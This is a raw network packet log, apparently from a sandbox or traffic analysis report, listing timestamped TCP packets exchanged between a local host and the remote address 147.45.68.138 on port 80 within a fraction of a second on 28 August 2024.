Aug 28, 2024 22:55:56.709436893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709446907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709450960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.709469080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.709486961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.710208893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710225105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710235119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710246086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710257053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710268021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710268021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.710278988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710289001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710299969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710310936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710318089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.710321903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710333109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710335016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.710342884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710347891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710357904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.710359097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710383892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710393906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710395098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.710411072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.710426092 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.710566044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710577011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710602999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.710632086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.710932970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710943937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710948944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710958004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710963964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710973024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.710980892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.711007118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.711026907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.711113930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711124897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711133957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711146116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711155891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711167097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711174011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.711178064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711180925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.711189032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711200953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711203098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.711211920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711221933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711225986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.711246014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.711246014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711256981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711263895 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.711291075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.711952925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711963892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711975098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711986065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.711992025 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.711997986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712007999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712017059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712018967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712035894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712045908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712045908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712055922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712071896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712078094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712085009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712104082 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712121964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712126970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712132931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712141991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712151051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712152004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712168932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712179899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712179899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712188959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712201118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712207079 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712212086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712222099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712227106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712234974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712245941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712246895 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712256908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712266922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712269068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712276936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712287903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712287903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712299109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712311029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712311983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712321043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712332010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712333918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712343931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712356091 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712373018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712397099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712517977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712553978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.712960005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712970972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712981939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.712992907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.713004112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.713006973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.713013887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.713026047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.713032007 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.713037014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.713051081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.713052034 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.713061094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.713074923 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.713089943 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.714744091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714752913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714762926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714773893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714785099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714797020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714799881 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.714807987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714818001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714828014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714835882 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.714839935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714864016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.714880943 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.714911938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714921951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714931011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714942932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714952946 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.714956045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714967966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714967966 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.714978933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.714991093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.714994907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.715007067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.715017080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.715022087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.715027094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.715035915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.715044975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.715055943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.715065002 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.715065956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.715075970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.715086937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.715094090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.715097904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.715110064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.715112925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.715121031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.715136051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.715148926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796228886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796308041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796318054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796336889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796349049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796360016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796360970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796371937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796391010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796402931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796417952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796430111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796430111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796433926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796444893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796447992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796468973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796469927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796492100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796504021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796516895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796525002 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796525002 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796528101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796531916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796538115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796550035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796560049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796571016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796583891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796590090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796590090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796597004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796607971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796610117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796618938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796627045 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796629906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796648979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796659946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796669960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796683073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796690941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796690941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796740055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796740055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796849966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796889067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796914101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796930075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796940088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796950102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796962023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796972036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.796973944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.796973944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797008991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797032118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797080040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797091961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797118902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797136068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797141075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797152996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797154903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797168970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797185898 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797652960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797662973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797674894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797688961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797698975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797713041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797715902 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797724962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797735929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797751904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797777891 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797804117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797815084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797825098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797842979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797843933 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797854900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797864914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797868967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797877073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797888041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797898054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797899008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797909021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797918081 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797934055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.797935963 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797960997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.797975063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798302889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798314095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798324108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798333883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798345089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798346043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798356056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798361063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798374891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798388004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798407078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798449993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798460007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798485041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798497915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798621893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798634052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798643112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798655033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798659086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798666000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798677921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798679113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798691034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798702002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798712015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798717976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798724890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798738003 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798759937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798810005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798825026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798835039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798846960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798851967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798858881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.798867941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.798896074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.799381018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.799396992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.799407005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.799417973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.799418926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.799429893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.799451113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.799472094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.799726963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.799765110 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.799771070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.799786091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.799808025 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.799810886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.799822092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.799825907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.799833059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.799841881 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.799859047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.799879074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.799910069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.799921036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.799930096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.799952030 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.799971104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.800105095 CEST	80	49731	147.45.68.138	192.168.2.7
